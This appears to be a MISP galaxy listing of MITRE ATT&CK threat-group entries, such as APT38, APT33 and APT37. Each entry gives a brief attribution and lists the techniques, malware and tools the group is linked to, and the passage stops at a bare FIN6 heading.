uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="OSInfo - S0165" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="SHOTPUT - S0063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
APT38 - G0082
[APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018)
North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.
The tag is: misp-galaxy:mitre-intrusion-set="APT38 - G0082"
APT38 - G0082 is also known as:
-
APT38
APT38 - G0082 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="DarkComet - S0334" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"
Links |
TA459 - G0062
[TA459](https://attack.mitre.org/groups/G0062) is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)
The tag is: misp-galaxy:mitre-intrusion-set="TA459 - G0062"
TA459 - G0062 is also known as:
-
TA459
TA459 - G0062 has relationships with:
-
similar: misp-galaxy:threat-actor="TA459" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="ZeroT - S0230" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="NetTraveler - S0033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts |
MONSOON - G0042
The tag is: misp-galaxy:mitre-intrusion-set="MONSOON - G0042"
MONSOON - G0042 has relationships with:
-
similar: misp-galaxy:threat-actor="Dropping Elephant" with estimative-language:likelihood-probability="likely"
-
revoked-by: misp-galaxy:mitre-intrusion-set="Patchwork - G0040" with estimative-language:likelihood-probability="almost-certain"
Links |
CopyKittens - G0052
[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)
The tag is: misp-galaxy:mitre-intrusion-set="CopyKittens - G0052"
CopyKittens - G0052 is also known as:
-
CopyKittens
CopyKittens - G0052 has relationships with:
-
similar: misp-galaxy:threat-actor="CopyKittens" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="TDTESS - S0164" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
Honeybee - G0072
[Honeybee](https://attack.mitre.org/groups/G0072) is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japans, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. (Citation: McAfee Honeybee)
The tag is: misp-galaxy:mitre-intrusion-set="Honeybee - G0072"
Honeybee - G0072 is also known as:
-
Honeybee
Honeybee - G0072 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
Links |
APT33 - G0064
[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)
The tag is: misp-galaxy:mitre-intrusion-set="APT33 - G0064"
APT33 - G0064 is also known as:
-
APT33
-
Elfin
APT33 - G0064 has relationships with:
-
similar: misp-galaxy:threat-actor="APT33" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="MAGNALLIUM" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="NETWIRE - S0198" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="TURNEDUP - S0199" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Ruler - S0358" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Pupy - S0192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="AutoIt backdoor - S0129" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Shamoon - S0140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="FTP - S0095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="POWERTON - S0371" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PoshC2 - S0378" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="StoneDrill - S0380" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage |
APT34 - G0057
APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)
The tag is: misp-galaxy:mitre-intrusion-set="APT34 - G0057"
APT34 - G0057 has relationships with:
-
similar: misp-galaxy:threat-actor="APT34" with estimative-language:likelihood-probability="likely"
-
revoked-by: misp-galaxy:mitre-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="almost-certain"
Links |
Group5 - G0043
[Group5](https://attack.mitre.org/groups/G0043) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://attack.mitre.org/groups/G0043) has used two commonly available remote access tools (RATs), [njRAT](https://attack.mitre.org/software/S0385) and [NanoCore](https://attack.mitre.org/software/S0336), as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)
The tag is: misp-galaxy:mitre-intrusion-set="Group5 - G0043"
Group5 - G0043 is also known as:
-
Group5
Group5 - G0043 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
Links |
FIN5 - G0053
[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)
The tag is: misp-galaxy:mitre-intrusion-set="FIN5 - G0053"
FIN5 - G0053 is also known as:
-
FIN5
FIN5 - G0053 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="RawPOS - S0169" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="FLIPSIDE - S0173" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
Links |
Dragonfly - G0035
[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)
A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)
The tag is: misp-galaxy:mitre-intrusion-set="Dragonfly - G0035"
Dragonfly - G0035 is also known as:
-
Dragonfly
-
Energetic Bear
Dragonfly - G0035 has relationships with:
-
similar: misp-galaxy:threat-actor="Energetic Bear" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-malware="Trojan.Karagany - S0094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Backdoor.Oldrea - S0093" with estimative-language:likelihood-probability="almost-certain"
Links |
APT37 - G0067
[APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123)
North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.
The tag is: misp-galaxy:mitre-intrusion-set="APT37 - G0067"
APT37 - G0067 is also known as:
-
APT37
-
ScarCruft
-
Reaper
-
Group123
-
TEMP.Reaper
APT37 - G0067 has relationships with:
-
similar: misp-galaxy:threat-actor="ScarCruft" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ROKRAT - S0240" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="KARAE - S0215" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="POORAIM - S0216" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="NavRAT - S0247" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="CORALDECK - S0212" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Final1stspy - S0355" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="SLOWDRIFT - S0218" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="WINERACK - S0219" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="SHUTTERSPEED - S0217" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="DOGCALL - S0213" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="HAPPYWORK - S0214" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"
FIN6 - G0037
